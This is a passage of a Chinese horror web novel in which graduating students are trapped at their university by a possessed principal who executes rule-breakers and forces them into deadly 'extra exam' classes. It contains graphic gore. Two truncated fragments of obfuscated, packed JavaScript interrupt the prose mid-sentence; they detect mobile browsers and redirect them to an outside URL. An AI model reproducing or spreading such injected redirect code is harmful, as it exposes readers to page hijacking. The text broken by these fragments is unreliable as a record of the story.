《毕业附加题[无限]》 1. Achilles 6月20日。 F大的毕业典礼如期举行。 大礼堂内,一切布置就绪。 “丸子丸子!这里!” 谢晓彤眼尖,注意到姗姗来迟的项纨,朝她挥挥手。 刚在便利店倒完夜班兼职的项纨猫着腰,嘴里不停说着“不好意思借过”,穿过一众同学,来到自己班级的位置。谢晓彤把放在旁边座位上占座用的包提起来搭在腿上,“快坐。” 项纨不客气地一屁股坐下,长长舒口气,拿纸擦掉鼻尖上冒出的汗珠:“还好没迟到。” “慌什么,”谢晓彤安慰她,“你还不是最后一个来的。” 听她一说,项纨才想起来自己的另外两个室友。左右张望了下,没发现两人的身影,项纨看了看手表,距离班导通知的典礼开始时间只有十分钟了。 “她们人呢?”项纨语气淡淡随口问了一嘴。 谢晓彤耸耸肩,“露露刚才把咖啡弄撒,小白陪她去洗手间清理去了,估摸着也快回来了吧。她俩已经占了位置了,”谢晓彤扬起下巴,“喏,就你旁边。” 谢晓彤口中的露露和小白就是她俩的另外两个室友——于露和白心月。 “对了,刚才露露说等会儿结束之后一起吃个饭。咱们都好久没见了……丸子?喂,你有没有在听啊?” 见她低着头一直看手机,谢晓彤有些不悦地把手伸到她面前晃了晃。“你怎么一坐下就一直盯着手机看?” 项纨自从到位之后,手指在屏幕上噼里啪啦敲个不停。她刚通过了一家还不错的公司的面试,一边回复对面公司的HR,一边抱怨:“这不是最近就业形势太严峻了嘛。好不容易有家条件还不错的公司给我发了面试邀请,我又通过了复试……对了,你刚才说什么?” 谢晓彤狐疑:“不对呀,我记得你不是找到了实习单位吗?” 项纨说:“别提了,人最低学历也要研究生。实习期一过我就被优化了。” 谢晓彤低声骂了一句:“我靠,太不要脸了吧!把你当什么廉价劳动力吗?那你现在怎么办?你兼职的存款够花吗?要是不够的话我——” “停停停!”项纨赶紧叫停已经准备开始当散财童女的谢晓彤,“大学四年我兼职就没停过,哪儿能那么容易被掏空家底儿?你就别操心了,啊,乖。” 她拍了拍谢晓彤的脑袋,哄孩子似的哄她。 项纨的家庭条件比较特殊,她是个孤儿,上学的学费生活费全靠国家补助奖学金和她自己无休无止陀螺似的忙个不停的兼职。 她们寝室的人都知道她的情况,谢晓彤和她关系不错,又是那种家庭和睦条件优越心地也善良的小女孩,所以在听到她失业之后难免担心她在这座城市里没有亲人的兜底会生活得很艰难。 “可是……” “你就放心吧,我都已经跟这家HR谈好了,拿到学位,对面立马给我offer。” “好吧,那你要是遇到什么困难一定要跟我说。” “你俩这是聊什么呢聊得这么起劲?”于露的声音忽然从两人身后传来。 就在项纨和谢晓彤说话的功夫,刚刚去洗手间的于露和白心月回来了。于露在项纨的右手边坐下,白心月挨着她并排也坐下。 项纨没接话。她和这两个人的关系不算好,刚才没搭谢晓彤的茬一是她的确分心了,二就是听说是于露提议的,不大想去。 “没,”谢晓彤探出脖子,隔着项纨跟她俩说话,“我俩讨论就业形势呢。” 于露往后一靠,搭起二郎腿,似笑非笑地看了一眼项纨,学着谢晓彤的语气,说:“丸子在校期间这么优秀的学生也会担心就业问题吗?” 白心月也说:“是啊,不应该呀。” 听她叫自己丸子,项纨的眉头不易察觉地皱了皱。以她和于露过往的关系和发生过的矛盾来看,两人并没有亲密到可以互相叫对方的昵称这种程度。不过碍于谢晓彤在,她什么也没说,朝两人露出个假笑。 “嗨呀,现在就业形势就是这么艰难。我上次刷视频还刷到药方拿药窗口研究生优先呢!”谢晓彤打着圆场。 就在这时,项纨握在手里的手机“嗡嗡”震动两下。她打开一看,微信界面赫然多了一条未读消息,是谢晓彤发来的。 「丸子你别多心,露露说这话应该没别的意思。」 没别的意思吗?或许吧。 项纨盯着这条消息几秒钟,只回复了两个字。 「嗯嗯。」 项纨原本也没打算跟于露计较。说白了,毕业典礼之后,几人各奔东西,往后应该都不会再有交集,前仇旧怨什么的,就跟着这毕业典礼一起结束吧。 “喂喂……” 台上的音响传来主持人试麦的声音,确认设备正常运作后,音响里开始播放一首悠缓绵长的轻音乐。应该是暖场音乐,但是落在项纨的耳朵里有点催眠。 “开始了开始了!”谢晓彤拍了下项纨的肩膀。 随着校方各种领导入场入座,这场典礼正式拉开帷幕。 穿戴整齐得体的主持人走到台前,字正腔圆地给在场的毕业生介绍到场的领导和嘉宾。在所有领导嘉宾致意完毕后,随着一声“全体起立”,礼堂里奏起了庄严肃穆的国歌。 奏唱国歌完毕,来到致辞环节。 校长走到台前,手里握着话筒,开始自己慷慨激昂的致辞环节。 “今天,是一个充满喜悦、感恩和希望的日子。学校在此隆重举行2025年毕业典礼暨学位授予仪式!” “首先,我谨代表全体教职工,向即将圆满完成学业同学们表达热烈的祝贺!” 台下掌声雷动。 项纨没怎么认真听。这种致辞环节又长又无聊,时不时还得捧场鼓个掌。倒班后遗症,项纨现在困得要命,只想赶紧结束仪式回寝室睡个觉,然后就得收拾东西离开学校了。 “你们用努力和汗水浇灌了知识的沃土,用智慧和勇气攀登了学术高峰!” 项纨打了个哈欠,身体后仰,靠在椅背上。 “你们与学校一同成长,学校也因为有你们而变得生机勃勃!” 项纨开始思考中午要不要去吃食堂三楼那家渔粉,再不去毕业了可就吃不到了。 “今天,你们即将告别校园,踏上人生的新征程。作为你校长,也作为你们的长辈和朋友,我想送上几句临别的嘱托和期许……” “……” 漫长的演讲致辞好似催眠曲,项纨的上下眼皮开始打架。 “最后,再次谨代表学校及全体师生员工向今天到场的同学们表达热烈的祝贺美好的祝愿!” 终于听到“最后”两个字,项纨强撑精神坐直了身体,准备鼓掌完毕后接受拨穗仪式。 “祝大家!” 已经有稀稀拉拉的掌声开始响起。 “毕业失败——” ……什么玩意儿? 项纨的瞌睡顿时清醒了,全场瞬间沉寂了几秒,项纨蹙眉,甚至怀疑自己刚才是不是困出幻觉了。紧接着,这话像是水入滚油,在场的学生们瞬间沸腾,嚷嚷起来。 “什么啊!什么叫毕业失败?” “就是,在开玩笑吗?作为校长再怎么开玩笑也该分清场合吧!” “大好的毕业日子说这种话,晦气晦气,真浪费我特意请假过来一趟。” 不满的声音如浪潮迭起,不绝于耳。 “……可是,你们看校长的表情,他好像……”不像开玩笑的样子。 项纨注意到人群里极少数的声音,立刻看向讲台上的校长。 她们班在观众席靠前的位置,从她这个角度,再加上她两只眼睛2.0的实力,能清楚看见舞台中央的校长的脸。 而真正看清舞台中央的“校长”的样子,项纨的心“咯噔”一下! 刚才上台演讲的时候校长明明还是个正常人的模样,可现在……他暴露在白色衬衣外的皮肤呈一种诡异的青灰,低垂着脑袋,隐没在阴影下的脸看不清表情,怎么看都透着一股子邪性…… 什么情况啊? 项纨的CPU都要烧了! 不过她也发现前排基本没什么人议论了,估计是跟她一样已经发现了校长不对劲的地方。 谢晓彤刚才就顺着项纨的视线也看见了校长的脸,她平时就爱看些灵异小说恐怖电影什么的,看到校长这副样子,脑子已经过了一百种超自然的可能性,她害怕地扯了扯项纨的袖子,“丸子,怎么办……” 项纨对着她“嘘”了一下示意她不要说话。她也不知道该怎么办,但第六感告诉自己这时候应该保持沉默。 可后排看不清校长异样的同学就没那么理智了。听到校长说出这样的话又迟迟没有任何动静,最后一排的一个男生愤怒起身,开口指责。 “校长!您是不是应该给大家解释一下您刚才的话是什么意思!” 男生虽然用语礼貌,但语气显然是怒火中烧并且不耐烦了。而也就是在他话音刚落下之后,礼堂内的音响“滋啦啦”怪响一声,就像平时被电磁干扰那样,刺耳的电流声逼得在场的同学们不得不捂住耳朵。 一声阴恻恻的笑声从话筒里传来,校长缓慢地抬起头,看向发问的男生。 坐在前排的同学纷纷倒吸一口凉气,因为大家看见了校长的那双眼睛。无机质的眼神,空洞得像个机器人。接下来,他的话更是让人百思不得其解。 “很遗憾地通知各位,由于本届学生毕业名额有限,导致各位毕业失败,学校不得不开展加试课堂。” “只有参与并通过加试课堂考验的同学,才能顺利毕业,活着离开学校。” 全场顿时又是一片哗然。项纨抓住他话里的关键词:活着离开学校。这是什么意思?难道说不能顺利完成的话,她们会有生命危险? 然而就校长现在这副样子,项纨显然不觉得这是什么玩笑话。 就在她猜测的时候,前排胆子小些的已经吓得开始低声抽泣起来,不过也有不信邪的。倒数几排一个强壮的肌肉发达的男生站了起来,“老子不参加了,你个破学校还搞上恐吓学生这一套。你刚才说的话我已经全程录音录像,等着吃官司吧!” 有人开团就有人跟。在肌肉男一番豪言的激励之下,一大波学生顺势起身,跟着肌肉男朝礼堂大门的方向走。 “同学们,请立刻回到自己的原位。”校长开口,语调平静得像个假人,项纨却隐隐感觉自己从里面听出了警告的意味。 她回头,看向还在往大门走的那群人,心里的不安愈发强烈。 “同学们,请立刻回到自己的原位。”校长重复这话的时候连语气和语调都不变。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904644|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有一两个被吓住的,还是不敢跟学校领导硬刚,灰溜溜地回到自己的位置。 校长僵硬地扭动脖子,死死盯着即将走到门口的那波学生,下达最后通牒一般:“你们只有三秒的时间回到自己的位置。” “3。” “2。” “1。” 倒计时结束。 项纨心里的不安到达顶点。她看着肌肉男站在原地,等校长倒数完毕,和身后几人面面相觑一会儿,不屑地朝台上的校长比了个中指,抬脚朝门外走去。 “检测到问题学生,清除。” 校长的语气像一个宣判犯人死刑的法官。 “神经……”病。 肌肉男的话还没说完,“噗”的一声,他的身体在众目睽睽之下炸成一朵血花。紧接着,又是“噗噗”几声,刚才跟着肌肉男一道往外冲的几个同学也和他一样的下场。顿时,礼堂门口被飞溅的血肉糊了一层。坐得离门近的同学更是糟罪,身上沾满了不知道是血还是肉的不明物体。 短暂地沉默几秒,礼堂爆发阵阵尖叫和呕吐的声音。“啊!!死人了!死人了!”项纨在第一个人“炸”了的时候反应迅速地扭头转向另一侧,一边干呕一边提醒谢晓彤:“呕!别看……呕……” ……晚了。 谢晓彤已经看到了,她平时看惊悚电影的时候难免也有血/腥/暴力的片段,可电影归电影,真实生活里看到这么一幕,对谢晓彤的冲击力无异于彗星撞地球。 “呕!”谢晓彤和项纨的干呕声此起彼伏。 于露和白心月情况更糟一些。白心月胆子一直是宿舍里最小的那个,看见这副场景,尖叫一声之后吓得瘫软在座位上,手脚颤抖咽喉发紧,呼吸都有点困难。 而于露,早上喝的咖啡和吃的早餐被她结结实实地吐了出来,直到胃里空空,胆汁都吐出来,也还没缓过来。 礼堂里吐了的人不在少数,或许还不止呕吐物……总之整个礼堂里都充斥着一股难以言说的气味。 台上的校长见状,灰白的脸上竟然露出一个笑容,似乎对现状很满意。他的眼睛扫视着礼堂的各个角落,像是想再拎出几个不听话的。可是经此一遭,还有谁敢当出头鸟? “如果没有同学反对,我们毕业附加课程将于明天早上正式开始。”校长慢悠悠地宣布,“课程时间安排将在今晚由我统一下发给大家,接下来,我将宣布本次加试课程的规章制度,请每位同学严格遵守。” “否则,后果自负。” “一:顺利通过课程之前,所有学生不得擅自离校。” “二:顺利通过一堂课程,得到平时分,每堂课难度不等,分值不等,最低十分。此课堂没有期末考试,平时分累计相加大于60分,即算及格。” “三:课堂可以互帮互助,但严禁作弊,违者直接挂科处理。” “四:在校期间,一切听从校方安排,如有违者,后果自负。” “那么接下来,请大家回到各自的寝室,等待校方通知。”校长又发话了。 没人敢动。门口那么一摊血肉,尤其是礼堂大门上,还糊着一层,哪位勇士敢从那儿过? 见底下的人都不动,校长不慌不忙,“友情提示,你们只有十分钟时间。如果不能按时回到寝室,则直接按挂科处置。” 草! 项纨在心里骂了句脏话,看了眼时间,在手表上掐了个倒计时。 她们的寝室在学校东南角,礼堂在学校西北方,十分钟的时间,几乎是只能卡到点回去的程度。刚才那几位身先士卒的同学已经足以让项纨意识到失败的后果是真的会死!她毫不犹豫地起身,脱掉身上碍事的学士服,拽住谢晓彤的胳膊,拉着她准备回寝室。 想通这个的人不止项纨一个,刚刚一动不敢动的学生们此刻躁动起来,求生欲支使纷纷起身往礼堂大门方向过去。 “倒计时,开始。” 校长的声音宛如催命符,整个礼堂的学生都沸腾起来! 项纨冲在前面,余光已经能瞥见那堆红白相间的碎肉。她强压着心头的恶心和恐惧,死亡面前没工夫怕这怕那的。比起害怕,她觉得还是保命要紧。 她加速,小跑着冲出礼堂。鞋底子不可避免地踩到粘腻的血肉,项纨头皮一阵发麻。 谢晓彤更惨,她穿了双高跟凉鞋,鞋底薄,她一脚下去,粘腻的液体被重力一压,直接和她的脚趾来了个亲密接触。 ……她不想要这双脚了。 谢晓彤平时娇生惯养,又不常锻炼,体力不大好。被项纨拖着跑了几分钟就累得不行,她停下,弯腰气喘吁吁的,“……丸子,我们骑车回去吧……我实在是累得不行了。” 项纨站在原地,表盘上的时间显示时间已经过去四分钟,她毫不犹豫,抓起谢晓彤的胳膊拉着她继续跑,“你没发现路上的车都没了吗?” 或许F大还是F大,但一定不是她们原来的那个学校了。 被她提醒,谢晓彤才猛然想起:对啊!学校平时路边共享单车和电动车随处可见,但这一路跑过来,好像是连车的影子都没看到。 现在操场上随处可见的,只有穿着学士服的同学们拼命往寝室方向奔逃的身影。 “窝草了!”恐惧与愤怒让谢晓彤没忍住爆了粗,“这他X的到底是什么鬼东西!” 2. Achilles 骂归骂,两个人脚下是一点也不带停的。 六月份的临近正午的气温已经攀升到接近顶峰,太阳很是毒辣。项纨衣服背后完全被汗浸湿,喉头漫出一股子铁锈味,紧赶慢赶,终于赶在还剩一分多钟的时候拖着谢晓彤跨进寝室大门。 谢晓彤完全没力气了,她想当场瘫倒,被项纨阻止了。“不行,他刚才说的是回到各自的寝室,不确定是不是具体到寝室号,还是先回去!” 有道理! 谢晓彤赶紧振作起来,重新铆足劲和项纨两个人拖着疲惫的身体爬上五层,回到了508寝。她们寝室是很寻常的上床下桌带衣柜,谢晓彤就像真气散了一样,累得身子一歪往衣柜上一靠,整个人顺势滑座到地上。 项纨在她后面进门,看于露和白心月还没回来,就没关门,回到自己的床位边拉开凳子坐下,大口喘着气。与此同时,寝室大门处传来两声动静。 于露和白心月几乎是卡在最后的时间撞开寝室大门跑了进来,跌倒在地上。 两人的头发都被汗水浸湿贴在脸上,身上的学士服也都不见了。于露一身看上去像是精心搭配过的衣服估计是在跑动的时候位移了,略显狼狈。白心月则是脸色惨白,再白一点,都能赶上那个假校长了。 项纨缓了口气,再次抬手唤醒表盘,屏幕一亮,表盘上的倒计时已经结束了。走廊上乱哄哄的,还有好些没回到自己房间里的人。 看来应该是进到寝室大楼就算数……“啊!!” 一声凄厉的惨叫打断项纨的思考,惨叫声来自白心月。项纨回神,白心月正坐在地上手脚并用地往后退了几步,颤巍巍地伸手指着寝室门口,瞪圆了眼睛,惊恐得声音都变调了,“她、她们……她们……” 谢晓彤和于露的位置正好被寝室门挡住了视线,看不见外面的情况,但看白心月这副样子,俩人也没胆子去一探究竟。项纨的床位在最靠阳台的右边,而她现在坐的位置视线开阔,恰好能看见门口的景象。 她瞳孔收缩,瞬间理解白心月的惊恐从何而来。 就在她们寝室门口,几个女生倒在那里,头和脖子都分了家。还有一颗头颅骨碌碌地滚到了她们的寝室门边……面朝她们寝室的方向,表情惊恐痛苦,一副死不瞑目的样子…… “砰”的一声,于露反应极快地关上寝室门,将两人和那颗头颅的视线隔绝。 一时间没人知道该说什么,寝室里安静得落针可闻。 四个人回到各自的床位前坐下,过了好一会儿,大约是缓过劲来了,白心月开始低声啜泣,释放心里的恐惧。 本来遇到这种令人费解的情况就恼火,再听到她低声抽泣,于露撕下在外的窈窕淑女伪装,彻底爆发,露出自己的性格本色。 她一脚踹在衣柜门上,“哭哭哭!还没死呢嚎什么丧!” 被她这么一吼,白心月愣了下,还真的止住哭泣,并且还主动向于露解释道歉:“对不起露露,我只是第一次亲眼看到有人在我面前身首分离……我太害怕了……” 这两个人的相处模式就是这样,一个愿打一个愿挨,所以项纨和谢晓彤没有一个人劝。 于露烦不胜烦的抓了把头发,用心打理过的大波浪被她抓成鸡窝头,她一回头,看着项纨问:“现在怎么办?” 她的语气过于理所当然,项纨有点不确定地指了指自己,“你在问我?” “废话!”于露站了起来,“你不是拿全额奖学金脑子比谁都聪明的优等生吗?想想办法啊!” 这故态复萌的样子让项纨幻视刚上大学那会儿于露打压自己的样子,成功勾起了项纨反感。她可不是白心月一样对她言听计从。不想跟她废话也懒得跟她再演那出和平假象,项纨言简意赅:“没办法。” 她只是优等生又不是造物主。 眼下这个情况但凡是个脑子正常点的人都知道不是凭她们一己之力解决得了的,于露这个蠢货难不成还想让自己跟超自然能力对抗? “没办法才要想啊,难不成在这里坐以待毙?” 项纨沉默两秒,起身走到寝室门边,手搭上了门锁。 “你干什么?”于露皱眉问她。 项纨作势开门,“你不是不想坐以待毙,我帮你开门,你想出去怎么闯随便你。” “疯了吧你,刚刚留在外面的人什么下场你又不是没看到!”于露瞪了项纨一眼。 项纨抄着手靠在门边,“原来你也知道外面是什么情况啊?自己想不出办法就把嘴闭上。” “你!” 于露被项纨的话噎得咬牙切齿。 这个项纨,就算已经要毕业了,还是一如既往的讨人厌! 眼看着两人之间的氛围剑拔弩张起来,谢晓彤赶紧出来打圆场,“好了好了!都这个时候了大家就别内讧了,冷静,都冷静一点。” 于露和谢晓彤的家世相当,她始终觉得两人是同一阶层的人,这三年多将近四年的同寝生涯里,寝室里几个人,她也就听得进去谢晓彤的话。 而项纨看在谢晓彤的面子上也懒得跟她计较,回到自己的位置再次坐下。 调解完这边,谢晓彤又安慰白心月:“小白,这个时候越哭心里越泄气,振作一点。” 白心月吸了吸鼻子,朝谢晓彤勉强笑了笑:“对不起,是我失态了。晓彤,谢谢你安慰我。” 白心月话音刚落,四个人的手机忽然同时响起一条微信消息提示音。 几人动作出奇一致地愣了下,飞速解锁手机,查看消息。 项纨手指划了划屏幕,点开突然多出在聊天界面里那个名为“毕业附加题”的群聊天。 群名后面跟着群人数带着括号的群人数(3308)。 微信群人数的上限不是500吗? 群内处于全体禁言状态,只有一个头像昵称全是空白的人发出来的@全体成员的群通知: 「致我最亲爱的同学们, 明日课程安排如下: 从现在起到明天早上八点之前是自由活动时间,活动范围不得超过自己的寝室, 请所有同学于明早八点整,准时抵达自己的教室参加本门课程 课表——古典文学 迟到者,后果自负。」 又是后果自负……项纨现在对这几个字有点PTSD了。 “什么东西?古典文学?” 于露奇怪地嘟囔了一声。 紧接着谢晓彤惊讶道:“古典文学?露露你确定吗?我这边的消息是民俗学!” 白心月小小声地跟了一句:“对呀,我这里也是民俗学……” 话音落下,三人齐齐看向没有发话的项纨。 项纨大概猜到了,每个人收到的消息里学科各不相同,否则三千多个人怎么可能挤在同一个教室里。 只是她怎么这么倒霉,居然和于露是同一门。 “丸子,你是哪科?”谢晓彤急切问道。 “古典文学。” “什么?” “什么?!” 谢晓彤和于露异口同声,同样的两个字,情绪截然相反。 谢晓彤的“什么”是对项纨没能和自己一科表达遗憾,而于露的这句“什么”,充斥着满满的嫌弃。 项纨很想告诉于露自己也不想跟她一科,想了想,还是算了,不想跟她做一些无谓的口舌争端,纯属浪费时间。 谢晓彤有点泄气地趴回桌面,跟项纨不是同一门学科,她心里有点没底。把消息来来回回的看了一遍,谢晓彤有气无力的发出疑问:“可是他也没说在哪个教室啊?” 这算什么?规则bug吗? 于露却在这时候忽然开口:“不对,既然能收到消息,为什么不报警?还要留下来参加这什么狗屁附加课?” 项纨像看傻子一样看着她,真不知道该说于露是单纯还是后知后觉的愚蠢。 “除了这个群里的消息,你还有收到谁给你发的消息吗?” 她这么一说,于露立马翻看手机,果然除了这条@所有人的消息通知,其他消息都停留在毕业典礼开始前,右上角的信号格更是直接灰了。 见状,希望破灭,于露心如死灰。“草!”她骂了一声,拿起手机想往地上砸。 “温馨提示,”项纨看她作死,虽然不喜欢她,看在都是一个寝室的份上还是提醒了一句,“这手机坏了你就收不到通知,收不到通知的话,你刚才也看到了‘后果自负’的含金量。” 于露的手僵在半空,扔也不是收也不是。最后,为了保住小命,于露深呼吸一口,把手收了回来。 项纨虽然提醒了她,但阴阳怪气的语气还是让于露像吃了苍蝇一样难受。 叮咚。 就在于露生闷气的时候,四人的手机提示音又同时响起。 谢晓彤:“快快快,看看是不是发教室了。” 项纨解锁手机,空白头像空白昵称的人被置顶在聊天框的正上方,项纨看着上头醒目的红色未读消息提示…… 连添加好友的步骤都省略了吗? 点进信息栏。 「项纨同学,你的教室在一教303 上课期间,禁止携带违禁物品 祝你本次课程顺利通过课堂考验。」 “救命!我在二教404……”谢晓彤发出一声哀嚎,原因很简单,二教离寝室太远了,比一教整整远了一倍! 白心月说:“没关系晓彤,我跟你一样,明天我们早点出门。” 谢晓彤点头:“也只能这样了。” 于露把手机往桌上一扣,冲项纨说:“我在303,一教。” 见项纨没说话,于露又重复了一遍:“项纨,我在一教303。” 项纨:“我没问你。” 于露难得主动向项纨抛出橄榄枝,没想到她居然不领情?!她沉下脸,张口欲说什么…… “好了好了露露,既然小白跟我一样,那丸子肯定跟你也是一样的。”谢晓彤操碎了心,怕这俩祖宗再呛起来,连忙抛出一个新的疑问,“对了,我记得刚刚在礼堂的时候那个‘校长’不是说顺利通过课程之前不得离开学校吗?” 白心月赶紧接话:“对啊,我们现在应该只能住在寝室里了。” 谢晓彤伸出一根手指在身前指着除了项纨的床铺外空荡荡的床板打转:“要不咱们先解决一下住宿问题?” 近在眼前的现实问题让于露一下子偃旗息鼓。寝室现在肯定是出不去的,没人敢去试探违反规则的后果。自从实习期之后三个人就搬出了寝室,只有项纨,为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904645|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省钱还住在寝室里。没想到眼下反而只有她生活用品最为齐全,不用担心住宿的问题了。 “丸子。”谢晓彤凑到项纨身边,眨巴着一双水灵灵的杏眼一脸无辜地抱着项纨的胳膊晃,“我知道你一定有多的四件套,拜托拜托!” “有是有。”项纨把手从谢晓彤怀里抽出来,走到衣柜前拉开柜门翻找,“不过这不是要毕业了,我也准备离校,之前打包了些包裹往出租屋寄。” 她摸到多出来的四件套,把它们从衣柜底下抽出来抱在怀里转身:“只有这一套了。” “一套也行,大不了咱们两个人挤一张床,我跟你一起睡!” 项纨:“行啊。” 于露皱着眉:“行什么行?本来寝室的床就不大,两个人挤一张,怎么睡?” 白心月讪讪地劝她,“露露,现在情况特殊,你能不能委屈一下……” 以前住在这个四人间的小宿舍于露都觉得自己算是纡尊降贵,现在还要跟人挤在一张床上,于露怎么可能受得了? “不可能,你休想跟我挤一张床。” 白心月的表情有点受伤,低落地垂下头。她以为自己跟在于露身后当尾巴这么多年,于露起码也是有一点点真心把她当朋友,现实却给了她一耳光。 项纨把一切看在眼里,转身上前,将手里的四件套塞进了白心月手中:“拿着。” 白心月懵懵地接过,有点不可置信:“给我?” “嗯。” 项纨只是单纯的讨厌于露,对白心月是一个中立的态度,没好感,也不厌恶。 “项纨,你什么意思?”于露火大,噌地一下从椅子上站起来。 项纨:“看不出来吗?意思是这四件套我借给了白心月,你要想和她挤一张床,就去让她点头。你要是非要自己睡一张床板,也没人拦着你。” 于露被气得连说三个“好”,为了较劲,转身蹬掉鞋子爬上光秃秃的床板:“谁稀罕你那破四件套!” “不稀罕最好。” 谢晓彤扯了扯她的衣角低声:“丸子,算了算了。” 项纨耸耸肩,转身回到衣柜里拿了两套干净的换洗衣服,把其中一套连同水卡一起给了谢晓彤,低头看了一眼她的脚,“你试试水卡能不能用,可以的话就先去洗个澡吧,我给你重新找一双鞋子。” …… 死去的记忆开始攻击谢晓彤,她寒毛倒竖,一脚往阳台的方向把鞋子甩飞,凉鞋在空中划出一道抛物线,从阳台上掉了下去,谢晓彤从项纨手里接过衣服和水卡匆匆钻进浴室。 没一会儿,浴室里传出水声。 看来水卡和热水还能够正常使用。 谢晓彤死命地把刚才和那堆血肉接触过的皮肤表面搓了一遍又一遍,直到脚指头都发白了才罢休。此刻,谢晓彤庆幸还好寝室有独立的卫生间和热水,否则她这脚是真的一点儿也不想要了! 等到谢晓彤终于洗完出来,项纨紧接着又进去。 她虽然没有接触到那些血肉,但跑回来这一路出了一身的汗,黏黏腻腻的不舒服,所以简单的冲了个凉,洗得比较快。 等她出来,白心月有点扭捏的上前,“项纨,那个……能不能把水卡也借我用一下?” 见项纨抬眼看她,白心月连忙补充:“我不白用你的,我用了多少就折现给你,这样可以吗?” 项纨想了想,把水卡递给她,“这次我可以借给你,但下次就不一定了,希望你能理解。” 白心月连连点头:“我懂我懂,谢谢你!” 等白心月从卫生间出来将水卡交还给项纨,整个寝室就剩下于露一个人还没洗澡了。 谢晓彤走到于露床边,抬手在她躺的床板上敲了敲:“露露,要不你也——” “不用,我不需要。”于露侧躺着,背对几人,胳膊被硬邦邦的床板硌得生疼,但她的嘴比床板还硬。 “放心,需要我也不会借给你。”项纨补刀道。 反正暂时也出不去寝室,项纨实在不想跟她假客套,演都不演了。 “……你!”于露坐了起来,瞪她一眼,“这栋楼又不是只有你一个人了,等到能出去活动时候我随便找谁借不到一张水卡吗?” “随你。”项纨慢悠悠地说完,爬上了自己的床。“晓彤,上来休息一会儿。” 谢晓彤也劝不动了,摆烂地爬上了项纨的床,还没倒下呢,又考虑到一个问题。“那咱们吃饭怎么办?不能出寝室,难不成要把我们饿死?” 这个问题显然问倒了在场的所有人,虽然今天看见了那副血腥骇人的场景没什么胃口,但人总不会一直没有胃口。可是眼下无人能解答这个问题,整个寝室再次陷入无边的沉默。 项纨躺了下去,谢晓彤紧挨着她也躺下了。她靠在项纨旁边,对今天发生的所有事情心有余悸,后知后觉地开始感到无边恐惧,小声地问项纨:“丸子,我们会死吗?” 项纨抬头盯着天花板,如实回答:“不知道。” “你害怕吗?” “怕呀。” 寝室门口还躺着一群身首异处的尸体,她们临死前应该也很害怕……所以,害怕没有任何作用。 项纨现在只有一个目标——弄清楚她们目前的处境,并且,活下去。 3. Achilles 项纨不知道自己是什么时候睡过去的,半梦半醒间……“滋啦”“滋啦”…… 奇异的电流声传进项纨耳中,项纨眼睛都还没睁开,迷迷糊糊的大脑瞬间清醒。她一个打挺从床上坐了起来,才发现外头的天色已经擦黑。而她动作弧度太大,带动床晃动,惊醒了身边的谢晓彤。 谢晓彤睡得有些迷糊,还没缓过劲,揉着眼睛爬起来,“怎么了丸子?” “嘘,你听。” 项纨竖起耳朵,示意她别说话。谢晓彤被她严肃的样子吓到,捂住嘴巴,侧耳仔细听。 一阵如同来自广播站的悠扬旋律从寝室门口传来,声源听着像是来自走廊,大约几秒之后,轻缓的旋律陡然变调,一个机械但耳熟的声音响了起来: 「现在是生存物资发放时间!请每个寝室派一位代表前往门外领取,生存物资每天晚上八点发放,无人领取,过时不候。」 听清外面广播的内容,谢晓彤大喜:“发物资了!” 项纨立马翻身踩着床边的楼梯下了床,谢晓彤跟在她后面爬了下来。 白心月也在广播声响的时候醒了,见这两人下床,也跟着下来。只有于露仍然躺在床上一动不动,不知道醒了没。 项纨来到门边,手表上的时间显示19:58。她没有第一时间急着开门,寝室大门的隔音效果并不好,她将耳朵往门边一凑,仔细聆听门外的动静。 “吱呀”一声,听上去是隔壁寝室开门的声音,紧接着,一个颤抖的女声似乎是在跟谁说话:“……我……我出来领物资……” 一阵乱码一样的电流滋滋声。 女生的声音颤抖得更厉害:“……七、七点五十八……不!不能这样!不……是你骗我出来的!是你骗——” 女生的声音戛然而止。 “她、她是不是……”白心月欲言又止,呼吸微微加速。 三人听这动静,差不多能猜到外面到底发生了什么。 “发物资是骗人的吗?”谢晓彤咽了口唾沫,有些泄气,“难道只是为了把人骗出去杀?” “不,应该不是骗人。”项纨否定了她的说法,虽然刚才听不见和女生对话的东西究竟说了什么,但她提到了时间,“我猜,这个女生出去的时间早了,违反了所谓的‘规章制度’,所以触发了‘后果自负’的死亡条件。” “啊?”谢晓彤人麻了。这也算违反规章制度?还有没有人性了! 项纨抬起手腕,表盘上是仿真时钟,精确到秒那种。 看懂她的意图,谢晓彤担心道:“丸子!要不然算了吧!”大不了挨几顿饿,但如果猜错了,可是会直接没命的! 项纨却不这么想。 既然她们被卷入了这场奇怪的附加课,短时间估计是没办法离开的,饿一顿两顿不是问题,可一直挨饿也是会死的。 与其活生生饿死,不如赌一把。 项纨卡着秒针抵达“12”的最后一秒,一把拉开寝室大门跨了出去。身后的白心月和谢晓彤心提到嗓子眼儿,两人扭头侧向一旁,根本不敢多看。 大门“砰”的一声又自己合上。 项纨注意到,当自己迈出寝室大门的瞬间,就像走进了一个异次元的空间,对面的一排寝室门消失不见,变成一片肉眼望不穿的黑色。了整栋楼都安静得可怕,好像这个空间里的活人只剩下她一个一样。 与此同时,一个纤瘦的,略微矮小的身影从对面那片墨色里缓缓走了出来,走到项纨的跟前。 项纨看着面前熟悉的面孔——这不是这栋楼的宿管阿姨吗?虽然面前这个阿姨皮肤惨白发灰瞳仁无神,和上午礼堂内里见到的校长的样子如出一辙。 